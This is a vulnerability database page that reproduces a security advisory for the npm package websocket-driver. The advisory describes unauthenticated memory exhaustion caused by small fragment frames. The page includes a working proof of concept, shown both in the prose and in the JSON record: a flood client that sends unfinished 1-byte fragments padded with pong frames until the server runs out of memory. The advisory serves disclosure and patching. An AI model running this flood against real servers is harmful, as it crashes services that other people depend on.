GHSA-J7R2-XPPQ-M353
Vulnerability from github – Published: 2026-12-03 02:45 – Updated: 2026-12-03 02:45Summary
With the default configuration options, an unauthenticated remote client is able to force the server to retain large Buffer objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.
Details
websocket-driver handles incoming TCP input via a pipe() call that feeds Buffer objects read from a TCP stream into the driver. A class named StreamReader stores the sequence of received buffers in an array and its read(length) method is used by the parser to consume arbitrary-sized chunks of the input stream.
If the requested length is smaller than the length of the first Buffer in the input queue, the Buffer.slice() method is used to take a reference to a slice of that Buffer without copying it. Since slice() takes a reference to the source Buffer, the source is not garbage collected until all slices taken from it are dropped.
A client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds maxLength, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing.
As of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals maxLength.
Proof of concept
This server uses websocket-driver to handle incoming connections, and periodically logs the amount of array buffer memory it is using:
const net = require('net')
const websocket = require('websocket-driver')
const server = net.createServer((connection) => {
const driver = websocket.server()
driver.on('connect', () => {
if (websocket.isWebSocket(driver)) driver.start()
})
driver.on('close', () => connection.end())
connection.pipe(driver.io).pipe(connection)
})
server.listen(5107, '127.0.0.1')
setInterval(() => {
const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)
This client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:
const { randomBytes } = require('crypto')
const net = require('net')
// masked frames, mask key 00 00 00 00
let firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte
let continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte
function pong () {
return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])
}
// 1 continuation fragment + 500 pongs = about one 64 KiB socket read
let unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])
let socket = net.connect(5107, '127.0.0.1')
socket.on('error', () => {})
socket.write(
'GET / HTTP/1.1\r\n' +
'Host: 127.0.0.1\r\n' +
'Connection: Upgrade\r\n' +
'Upgrade: websocket\r\n' +
`Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
'Sec-WebSocket-Version: 13\r\n' +
'\r\n'
)
socket.once('data', () => {
socket.write(firstFragment)
let flood = () => {
while (socket.write(unit)) {}
socket.once('drain', flood)
}
flood()
})
When running both of these, the server's memory use is observed to increase indefinitely. After patching, it remains at a low stable level.
Impact
A server using websocket-driver can be forced to retain unneeded Buffer objects in memory indefinitely by an unauthenticated remote client, causing it to run out of memory and crash.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "websocket-driver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140000"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-03T02:45:03Z",
"nvd_published_at": "2026-11-30T22:17:29Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWith the default configuration options, an unauthenticated remote client is able to force the server to retain large `Buffer` objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.\n\n### Details\n\n`websocket-driver` handles incoming TCP input via a `pipe()` call that feeds `Buffer` objects read from a TCP stream into the driver. A class named `StreamReader` stores the sequence of received buffers in an array and its `read(length)` method is used by the parser to consume arbitrary-sized chunks of the input stream.\n\nIf the requested `length` is smaller than the length of the first `Buffer` in the input queue, the `Buffer.slice()` method is used to take a reference to a slice of that `Buffer` without copying it. Since `slice()` takes a reference to the source `Buffer`, the source is not garbage collected until all slices taken from it are dropped.\n\nA client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds `maxLength`, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing.\n\nAs of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals `maxLength`.\n\n### Proof of concept\n\nThis server uses `websocket-driver` to handle incoming connections, and periodically logs the amount of array buffer memory it is using:\n\n```js\nconst net = require(\u0027net\u0027)\nconst websocket = require(\u0027websocket-driver\u0027)\n\nconst server = net.createServer((connection) =\u003e {\n const driver = websocket.server()\n\n driver.on(\u0027connect\u0027, () =\u003e {\n if (websocket.isWebSocket(driver)) driver.start()\n })\n\n driver.on(\u0027close\u0027, () =\u003e connection.end())\n connection.pipe(driver.io).pipe(connection)\n})\n\nserver.listen(5107, \u0027127.0.0.1\u0027)\n\nsetInterval(() =\u003e {\n const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)\n console.log(\u0027ArrayBuffers (MiB): \u0027 + MiB)\n}, 1000)\n```\n\nThis client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:\n\n```js\nconst { randomBytes } = require(\u0027crypto\u0027)\nconst net = require(\u0027net\u0027)\n\n// masked frames, mask key 00 00 00 00\nlet firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte\nlet continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte\n\nfunction pong () {\n return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])\n}\n\n// 1 continuation fragment + 500 pongs = about one 64 KiB socket read\nlet unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])\n\nlet socket = net.connect(5107, \u0027127.0.0.1\u0027)\nsocket.on(\u0027error\u0027, () =\u003e {})\n\nsocket.write(\n \u0027GET / HTTP/1.1\\r\\n\u0027 +\n \u0027Host: 127.0.0.1\\r\\n\u0027 +\n \u0027Connection: Upgrade\\r\\n\u0027 +\n \u0027Upgrade: websocket\\r\\n\u0027 +\n `Sec-WebSocket-Key: ${btoa(\u0027the sample nonce\u0027)}\\r\\n` +\n \u0027Sec-WebSocket-Version: 13\\r\\n\u0027 +\n \u0027\\r\\n\u0027\n)\n\nsocket.once(\u0027data\u0027, () =\u003e {\n socket.write(firstFragment)\n let flood = () =\u003e {\n while (socket.write(unit)) {}\n socket.once(\u0027drain\u0027, flood)\n }\n flood()\n})\n```\n\nWhen running both of these, the server\u0027s memory use is observed to increase indefinitely. After patching, it remains at a low stable level.\n\n### Impact\n\nA server using `websocket-driver` can be forced to retain unneeded `Buffer` objects in memory indefinitely by an unauthenticated remote client, causing it to run out of memory and crash.",
"id": "GHSA-j7r2-xppq-m353",
"modified": "2026-12-03T02:45:03Z",
"published": "2026-12-03T02:45:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-j7r2-xppq-m353"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140000"
},
{
"type": "WEB",
"url": "https://github.com/faye/websocket-driver-node/commit/93c3c5fc43e40726eaa3c25d13d200f0ec12cfed"
},
{
"type": "PACKAGE",
"url": "https://github.com/faye/websocket-driver-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.